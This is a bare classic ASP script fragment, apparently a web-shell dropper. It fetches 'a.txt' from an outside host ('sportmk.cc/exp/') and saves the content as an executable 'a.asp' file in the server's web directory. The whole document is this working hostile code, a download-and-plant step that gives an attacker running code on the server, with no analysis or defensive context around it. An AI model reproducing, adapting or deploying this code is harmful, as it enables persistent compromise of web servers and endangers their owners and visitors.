% Dim objXMLHTTP, strURL, strFileName strURL = "http://sportmk.cc/exp/a.txt" strFileName = Server.MapPath("a.asp") Set objXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP") objXMLHTTP.Open "GET", strURL, False objXMLHTTP.Send If objXMLHTTP.Status = 200 Then Set objADOStream = Server.CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 objADOStream.SaveToFile strFileName objADOStream.Close End If Set objXMLHTTP = Nothing %>